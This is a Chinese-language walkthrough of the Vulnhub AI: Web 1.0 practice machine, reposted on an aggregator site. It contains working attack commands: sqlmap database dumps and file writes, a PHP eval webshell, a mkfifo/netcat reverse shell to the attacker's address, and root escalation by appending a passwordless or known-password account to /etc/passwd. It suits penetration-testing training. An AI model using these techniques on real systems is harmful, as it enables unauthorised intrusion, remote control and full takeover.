Vulnhub-Al-Web-1.0 靶机复现完整过程

一、信息收集

1.主机发现

arp-scan -l

image.png

2.端口扫描

nmap -sV -p-  192.168.200.16

image.png

PORTSTATESERVICEVERSIONMAC Address
80/TCPOpenhttpApache httpd00:0C:29:C4:1B:78 (VMware)

3.目录扫描

python dirsearch.py -u http://192.168.200.16

image.png
扫描出来这两个文件,首先先进入网址查看信息(index.html,这个是网站首页)

二、网站信息

1.网站首页

image.png

2.robots.txt

image.png

2.1 m3diNf0

image.png

2.2 se3reTdir777/uploads/

image.png
这个是有两层目录的,uploads禁止访问, 查看上一级的目录文件情况
image.png
看到,输入框示意输入数字,出现如下结果说明存在SQL注入
image.png
这是一个问题,暂时搁置。

由robots.txt这个文件上面显示里网站那些页面是禁止爬取的,所以二次尝试目录扫描

3.m3diNf0扫描

python dirsearch.py -u http://192.168.200.16/m3diNf0

image.png
访问此目录,发现页面显示的是PHP有关信息,并且可以看到当前权限用户是最低级的和网站的根目录
image.png
image.png

4.se3reTdir777扫描

python dirsearch.py -u http://192.168.200.16/se3reTdir777

image.png

image.png

三、漏洞利用

SQL注入

使用工具:SQLMAP

3.1爆破数据库

python  sqlmap.py -r 1.txt  --batch --dbs

image.png

3.2 爆破数据表

python  sqlmap.py -r 1.txt  --batch -D aiweb1 --tables

image.png

3.3爆破表的中的字段

users表中的信息
python  sqlmap.py -r 1.txt  --batch -D aiweb1 -T user --dump

image.png

systemUser表中的信息
python  sqlmap.py -r 1.txt  --batch -D aiweb1 -T systemUser --dump

image.png
当前密码被base64加密,尝试解密

UserName: t00r  password:FakeUserPassw0rd
UserName:	aiweb1pwn   password:MyEvilPass_f908sdaf9_sadfasf0sa
UserName:	u3er		password:N0tThis0neAls0

目前的情况是:虽然成功爆出数据库的信息,但是并没有可以登陆的后台什么的可以利用,通过sql注入写入数据

绝对路径和权限用户信息

在robots.txt文件中发现了一个/se3reTdir777/uploads/的路径info.php信息里面包含着php的信息,站点在服务器的绝对路径!和权限用户
image.png
image.png

路径:/home/www/html/web1x443290o2sdf92213 
用户:www-data

在刚才信息收集中我们在robots.txt文件中发现了一个/se3reTdir777/uploads/的路径,并且也读到过phpinfo信息,从info.php文件中我们知道了根目录的路径,那现在就可以在uploads/路径下上传文件,通过sqlmap进行写入一个木马文件

尝试使用sqlmap的–os-shell命令getshel

os-shell执行条件有三个:
1.网站必须是root权限
2.网站的绝对路径已知
3.GPC为off(php主动转义的功能关闭)

依次选择 php(default),custom location(s)
根据前面找到的info.php文件暴露的信息,绝对路径选择:uploads的目录是可以成功写入的

/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
sqlmap -u "http://192.168.200.16/se3reTdir777/" --data "uid=1&Operation=Submit" --os-shell

image.png
image.png

sqlmap写入一句话木马

1.写入一句话木马

<?php @eval($_REQUEST[666]);?> # POST的我传不上去

2.写入文件

sqlmap -u "http://192.168.200.16/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write ./123.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/123.php--file-write:去读取文件(当前目录下的123.php)
--file-dest:后面加我们向目标写的文件,
目标在/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/,
把这个文件上传到123.php这个地址,现在我们就在uploads这个命令下写好了123.php文件

image.png
image.png
image.png

反弹shell

攻击端:

kali本地监听:nc -lvvp 6666(或者nc -lnvp 或者-lvp)

靶机端:

蚁剑终端上nc反弹:nc -e /bin/bash 192.168.200.14 6666(-e参数不可用)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.200.14 6666 >/tmp/f
image.png

image.png

提权

进入交互式shell:

python -c 'import pty;pty.spawn("/bin/bash")'

思路解决方法:

思路1:

sudo -l(查看有没有一些命令在执行期间有root权限标签没有密码保护——Not found)
发现需要密码
image.png

思路2:

查看有没有一些具有suid权限的命令

find / -perm -4000 2>/dev/null

image.png
查询开放端口

netstat -anpl

image.png
开放了3306端口,但只有本地能登录

思路3:

在交互式shell下输入命令uname -a查看内核版本,当前版本号是4.15.0-58-generic,去看一下有没有内核漏洞

www-data@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads$ uname -a
<eb1x443290o2sdf92213/se3reTdir777/uploads$ uname -a  
Linux aiweb1 4.15.0-58-generic #64-Ubuntu SMP Tue Aug 6 11:12:41 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
searchsploit linux kernel 4.15.0-58-generic   # 没有结果
searchsploit linux kernel 4.15.0  # 可以看到好几个做本地提权的

image.png
目标环境没有gcc环境,尽量不要上传.c文件提取

查看当前用户读写权限

查看当前系统里面具有可写权限的目录有哪些:

find / -writable -type d 2>/dev/null

image.png
查看哪些文件具有读写权限:

find / -writable -type f 2>/dev/null

image.png
(最明显的位置,最重要的文件,具有读写权限,一般基本可以止于此步骤,因为之前已经拿到了webshell了,直接将信息写入到此文件中)
**将find查询结果保存: **

find / -writable -type f 2>/dev/null > /tmp/writableFiles

**在蚁剑的/tmp目录就可以看到writableFiles文件,download下来
image.png

wc -l writableFiles 可以看到这个文件有5688行
过滤有用文件,过滤掉以p和s开头的文件

cat writableFiles | grep '^/[^p]' | grep '^/[^s]'

image.png
觉得c0nFil3bd.php这个文件可疑
得到数据库密码和用户名
image.png
/etc/passwd文件,具有写权限(可以直接写入进去,也可以利用命令行)
image.png
添加Zhangc::0:0:root:/root:/bin/bash,这个账号是没有密码的,但是sudo密码验证失败,必须生成一个有密码的账户:
生成Linux 系统用户密钥

┌──(root㉿kali)-[~]
└─# python                       
Python 3.10.8 (main, Nov  4 2022, 09:21:25) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import crypt
>>> crypt.crypt("123456","zhangcw")
'zhxPr1e7Npazg'
>>> 

写入到/etc/passwd中

echo 'zhangcw:zhxPr1e7Npazg:0:0:root:/root:/bin/bash'>>/etc/passwd

读写etc/passwd

zhangcw:zhxPr1e7Npazg:0:0:root:/root:/bin/bash

切换到zhangcw用户,输入密码123456

www-data@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads$ su zhangcw    
<1x443290o2sdf92213/se3reTdir777/uploads$ su zhangcw                       
Password: 123456
root@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads# cd
root@aiweb1:~# cd /root 
cd /root
root@aiweb1:~# ls
flag.txt
root@aiweb1:~# vim flag.txt
vim flag.txt
ot@aiweb1:~# cd /root 
cd /root
root@aiweb1:~# ls
ls
flag.txt
root@aiweb1:~# vim flag.txt
vim flag.txt
####################################################
#                                                  #
#                AI: WEB 1.0                       #
#                                                  #
#              Congratulation!!!                   #
#                                                  #
#      Thank you for penetrate my system.          #
#                                                  #
#            Hope you enjoyed this.                #
#                                                  #
#                                                  #
#  flag{cbe5831d864cbc2a104e2c2b9dfb50e5acbdee71}  #
#                                                  #
####################################################

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/305201.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【算法刷题】Day25

文章目录 1. 粉刷房子题干&#xff1a;算法原理&#xff1a;1. 状态表示&#xff1a;2. 状态转移方程3. 初始化4. 填表顺序5. 返回值 代码&#xff1a; 2. 判定字符是否唯一题干&#xff1a;算法原理&#xff1a;1. 哈希表2. 位图思想 代码&#xff1a; 3. 丢失的数字题干&…

【Java系列】多线程案例学习——基于阻塞队列实现生产者消费者模型

个人主页&#xff1a;兜里有颗棉花糖 欢迎 点赞&#x1f44d; 收藏✨ 留言✉ 加关注&#x1f493;本文由 兜里有颗棉花糖 原创 收录于专栏【Java系列专栏】【JaveEE学习专栏】 本专栏旨在分享学习JavaEE的一点学习心得&#xff0c;欢迎大家在评论区交流讨论&#x1f48c; 目录…

百度飞桨文心生态成果最新披露:开发者达1070万 模型数超86万

前言 12月28日&#xff0c;由深度学习技术及应用国家工程研究中心主办的WAVE SUMMIT深度学习开发者大会2023在北京召开。百度首席技术官、深度学习技术及应用国家工程研究中心主任王海峰现场公布了飞桨文心五载十届最新生态成果&#xff0c;文心一言最新用户规模破1亿&#xf…

基于Docker的软件环境部署脚本,持续更新~

使用时CtrlF搜索你想要的环境&#xff0c;如果没有你想要的环境&#xff0c;可以评论留言&#xff0c;会尽力补充。 本文提供的部署脚本默认参数仅适合开发测试&#xff0c;请根据实际情况调节参数。 数据库 MySQL version: 3.9 services:mysql:image: mysql:8.0.35container…

win32 WM_MENUSELECT消息学习

之前写了一些win32的程序&#xff0c;处理菜单单击都是处理WM_COMMAND消息&#xff0c;通过 LOWORD(wParam) 获取菜单ID&#xff0c;判断单击的是哪个菜单项&#xff1b; 还有一些其他菜单消息&#xff1b; 当在菜单项中移动光标或鼠标&#xff0c;程序会收到许多WM_MENUSELEC…

JavaScript练习题第(四)部分

大家好关于JavaScript基础知识点已经发布&#xff1a;需要的大家可以去我的主要查看 &#xff08;当然了有任何不会的&#xff0c;可以私信我&#xff01;&#xff01;&#xff01;&#xff01;&#xff09; 为了巩固大家学习知识点给大家准备几道练习题&#xff1a; 当然&…

基于ChatGpt,Java,SpringBoot,Vue,Milvus向量数据库的定制化聊天Web demo

customized chat GitHub - bigcyy/customized-chatgpt: 基于ChatGpt&#xff0c;Java&#xff0c;SpringBoot&#xff0c;Vue&#xff0c;Milvus向量数据库的定制化聊天Web demo 简介 基于ChatGpt&#xff0c;Java&#xff0c;SpringBoot&#xff0c;Vue&#xff0c;Milvus向…

Grafana Loki 配置解析

Grafana Loki 配置文件是一个YML文件&#xff0c;在Grafana Loki 快速尝鲜的示例中是loki-config.yaml&#xff0c;该文件包含关于Loki 服务和各个组件的配置信息。由于配置数量实在太多&#xff0c;没法全部翻译&#xff0c;只能后期有需要了再补充。 如下是Grafana Loki 快速…

网络攻防中应该掌握的进阶工具udp2raw,通过raw socket给UDP包加上TCP或ICMP header,进而绕过UDP屏蔽或QoS

网络攻防中应该掌握的进阶工具udp2raw,通过raw socket给UDP包加上TCP或ICMP header,进而绕过UDP屏蔽或QoS。 udp2raw tunnel,通过raw socket给UDP包加上TCP或ICMP header,进而绕过UDP屏蔽或QoS,或在UDP不稳定的环境下提升稳定性。可以有效防止在使用kcptun或者finalspeed的…

k8s 网络

还没有部署网络。 k8s的网络类型&#xff1a; k8s中的通信模式&#xff1a; 1&#xff0c;pod内部之间容器和容器之间的通信。 在同一个pod中的容器共享资源和网络&#xff0c;使用同一个网络命名空间。可以直接通信的。 2&#xff0c;同一个node节点之内不同pod之间的通信。…

SpringBoot+ShardingSphereJDBC实战(读写分离,分库分表,垂直拆分、水平拆分)附源码

参考&#xff1a;https://www.51cto.com/article/747736.html https://blog.csdn.net/qq_41581588/article/details/126966665 源码地址&#xff1a;gitgitee.com:jackXUYY/springboot-example.git 读写分离测试 我们启用后缀名为dev的配置文件&#xff0c;如下&#xff0c;…

vue3-富文本编辑器(vue-quill)

官网&#xff1a;VueQuill | Rich Text Editor Component for Vue 3 安装 pnpm add vueup/vue-quilllatest 使用 局部使用 先导包 import { QuillEditor } from vueup/vue-quill import vueup/vue-quill/dist/vue-quill.snow.css; 再使用 <QuillEditor theme"snow…